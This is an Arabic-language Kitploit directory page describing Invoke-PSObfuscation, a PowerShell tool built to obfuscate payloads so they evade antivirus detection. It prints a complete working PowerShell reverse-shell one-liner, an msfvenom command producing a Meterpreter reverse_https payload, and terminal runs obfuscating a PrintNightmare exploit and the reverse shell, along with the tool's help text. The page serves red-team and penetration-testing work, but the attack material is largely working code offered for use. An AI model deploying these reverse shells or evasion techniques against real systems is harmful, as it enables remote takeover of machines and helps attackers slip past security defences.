Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Invoke-PSObfuscation — نهج متعمق لإخفاء المكونات الفردية لحمولة PowerShell سواء كنت على Windows أو Kali Linux. | Kitploit
أدوات/GitHubGitHub/gh0x0st/invoke-psobfuscation
توليد الحمولةالاستغلالشيل كودالفريق الأحمرتطوير الحمولات
GitHubgh0x0st/invoke-psobfuscation

Invoke-PSObfuscation

نهج متعمق لإخفاء المكونات الفردية لحمولة PowerShell سواء كنت على Windows أو Kali Linux.

عرض المستودع
28452منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Invoke-PSObfuscation

تميل تقنيات الإبهام التقليدية إلى إضافة طبقات لتغليف الكود الثابت، مثل base64 أو الضغط. لا تزال هذه الحمولات تحقق درجة متفاوتة من النجاح، لكنها أصبحت تافهة لاستخراج الحمولة المقصودة، ويتم اكتشاف بعض أدوات الإطلاق في كثير من الأحيان، مما يخلق نقاط اختناق أساسية.

النهج الذي تقدمه هذه الأداة هو منهجية تتيح لك استهداف وإبهام المكونات الفردية لسكريبت مع اختلافات عشوائية مع تحقيق نفس المنطق المقصود، دون تغليف الحمولة بأكملها داخل طبقة واحدة. نظرًا لتعقيد منطق الإبهام، سيكون من الصعب جدًا توقيع الحمولات الناتجة وستفلت من محركات الكشف الإرشادية غير المبرمجة لمحاكاة المنطق الموروث.

بينما يمكن لهذا السكريبت إبهام معظم الحمولات بنجاح بمفرده، سيعمل هذا المشروع أيضًا كإطار دائم سأستخدمه لإنتاج وظائف مستقبلية ستستفيد من هذا الإطار لتوفير حمولات مخصصة مبهمة، مثل تلك التي تنتج فقط قذائف عكسية.

لقد كتبت مقالًا في مدونة Offensive Security كمقدمة للتقنيات التي تقدمها هذه الأداة. قبل المضي قدمًا، فكر في قراءته أولاً: https://www.offensive-security.com/offsec/powershell-obfuscation/

حمولات مخصصة

كجزء من عملي المستمر مع إبهام PowerShell، أقوم ببناء سكريبتات تنتج حمولات مخصصة تستخدم هذا الإطار. لقد ساعدتني هذه في توفير الوقت وآمل أن تجدها مفيدة أيضًا. يمكنك العثور عليها داخل مجلداتها الخاصة في جذر هذا المستودع.

  1. Get-ReverseShell
  2. Get-DownloadCradle
  3. Get-Shellcode

المكونات

مثل العديد من لغات البرمجة الأخرى، يمكن تقسيم PowerShell إلى مكونات عديدة تشكل المنطق القابل للتنفيذ. يتيح لنا ذلك هزيمة الكشف القائم على التوقيع بسهولة نسبية عن طريق تغيير كيفية تمثيل المكونات الفردية داخل الحمولة إلى شكل غامض أو غير مفهوم.

ضع في اعتبارك أن استهداف كل مكون في الحمولات المعقدة هو تدخلي للغاية. تم بناء هذه الأداة بحيث يمكنك استهداف المكونات التي تريد إبهامها بطريقة محكومة. لقد وجدت أن العديد من التوقيعات يمكن هزيمتها ببساطة عن طريق استهداف cmdlets والمتغيرات وأي تعليقات. عند استخدامها ضد حمولات معقدة، مثل print nightmare، ضع في اعتبارك أنه سيتم أيضًا تغيير معاملات/متغيرات الوظائف المخصصة. تأكد دائمًا من اختبار أي حمولات ناتجة بشكل صحيح وتأكد من أنك على دراية بأي معاملات مسماة تم تعديلها.

يتم تقديم أنواع المكونات مثل الأنابيب ومتغيرات الأنابيب هنا للمساعدة في جعل حمولتك أكثر غموضًا وصعوبة في فك التشفير.

الأنواع المدعومة

  • الأسماء المستعارة (iex)
  • Cmdlets (New-Object)
  • التعليقات (# و <# #>)
  • الأعداد الصحيحة (4444)
  • الطرق ($client.GetStream())
  • فئات مساحة الاسم (System.Net.Sockets.TCPClient)
  • الأنابيب (|)
  • متغيرات الأنابيب ($_)
  • السلاسل النصية ("value" | 'value')
  • المتغيرات ($client)

المولدات

يحتوي كل مكون على مولد مخصص يحتوي على قائمة بالقيم الثابتة أو المولدة ديناميكيًا الممكنة التي يتم اختيارها عشوائيًا أثناء كل تنفيذ. إذا كانت هناك مثيلات متعددة لمكون، فسيتم تكرار كل منها بشكل فردي باستخدام مولد. يضيف هذا درجة من العشوائية في كل مرة تقوم فيها بتشغيل هذه الأداة ضد حمولة معينة، لذا ستكون كل تكرار مختلفًا. الاستثناء الوحيد لذلك هو أسماء المتغيرات.

إذا بدأت خوارزمية متعلقة بمكون معين في التسبب في وضع علامة على الحمولة، فإن التصميم الحالي يسمح لنا بتعديل منطق ذلك المولد بسهولة دون المساس بالسكريبت بأكمله.

root@kitploit:~
$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

المتطلبات

تم اختبار هذا الإطار والحمولات الناتجة على نظام التشغيل وإصدارات PowerShell التالية. لن تعمل القذائف العكسية الناتجة على PowerShell v2.0

أمثلة الاستخدام

CVE-2021-34527 (PrintNightmare)

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done

PS /home/tristram> 

قذيفة عكسية لـ PowerShell

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
    Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
    Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/16*49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/109*50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/20*46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/51*49/51))
    Generator 2 >> PS  >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/1*80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/86+83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+32-0))
    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

قذيفة عكسية مبهمة لـ PowerShell

Alt text

كود شيل كود لـ Meterpreter PowerShell

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1                                                                                        
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1                     

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
[*] Obfuscating variables
[*] Writing payload to o-meterpreter.ps1
[*] Done

تعليق المساعدة

root@kitploit:~
<#
    .SYNOPSIS
        تحويل سكريبتات PowerShell إلى شيء غامض أو غير واضح أو غير مفهوم.
    
    .DESCRIPTION
        حيث تميل معظم أدوات الإبهام إلى إضافة طبقات لتغليف الكود الثابت، مثل base64 أو الضغط، فإنها تميل إلى ترك الحمولة المقصودة سليمة، مما يخلق نقاط اختناق أساسية. يركز Invoke-PSObfuscation على استبدال المكونات الموجودة في الكود الخاص بك، أو الطبقة 0، بقيم بديلة.
    
    .PARAMETER Path
        حمولة PowerShell مقدمة من المستخدم عبر ملف مسطح.
    
    .PARAMETER All
        يتم استخدام المفتاح All لتشغيل كل مكون مدعوم لإبهام حمولة معينة. هذا الإجراء تدخلي للغاية وقد يؤدي إلى كسر حمولتك. يجب ألا تكون هناك مشاكل عند استخدام هذا مع القشرة العكسية البسيطة. ومع ذلك، يوصى باستهداف مكونات محددة مع حمولات أكثر تقدمًا. ضع في اعتبارك أن بعض المولدات المقدمة في هذا السكريبت قد تربك حتى ISE الخاص بك، لذا تأكد من الاختبار بشكل صحيح.
        
    .PARAMETER Aliases
        يتم استخدام مفتاح aliases لتوجيه الوظيفة لإبهام الأسماء المستعارة.

    .PARAMETER Cmdlets
        يتم استخدام مفتاح cmdlets لتوجيه الوظيفة لإبهام cmdlets.

    .PARAMETER Comments
        يتم استخدام مفتاح comments لتوجيه الوظيفة لإزالة جميع التعليقات.

    .PARAMETER Integers
        يتم استخدام مفتاح integers لتوجيه الوظيفة لإبهام الأعداد الصحيحة.

    .PARAMETER Methods
        يتم استخدام مفتاح methods لتوجيه الوظيفة لإبهام استدعاءات الطرق.

    .PARAMETER NamespaceClasses
        يتم استخدام مفتاح namespaceclasses لتوجيه الوظيفة لإبهام فئات مساحة الاسم.
    
    .PARAMETER Pipes
        يتم استخدام مفتاح pipes لتوجيه الوظيفة لإبهام الأنابيب.

    .PARAMETER PipelineVariables
        يتم استخدام مفتاح pipeline variables لتوجيه الوظيفة لإبهام متغيرات الأنابيب.

    .PARAMETER ShowChanges
        يتم استخدام مفتاح ShowChanges لتوجيه السكريبت لعرض القيم الخام والمبهمة على الشاشة.

    .PARAMETER Strings
        يتم استخدام مفتاح strings لتوجيه الوظيفة لإبهام سلاسل الأوامر.
  
    .PARAMETER Variables
        يتم استخدام مفتاح variables لتوجيه الوظيفة لإبهام المتغيرات.

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All
    
    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1
    
    .OUTPUTS
        System.String, System.String
    
    .NOTES
        معلومات إضافية حول الوظيفة.
#>
تنزيل الأداة
إصدار PSOS تم اختبارهInvoke-PSObfucation.ps1القشرة العكسية
7.1.3Kali 2021.2مدعوممدعوم
5.1.19041.1023Windows 10 10.0.19042مدعوممدعوم
5.1.21996.1Windows 11 10.0.21996مدعوممدعوم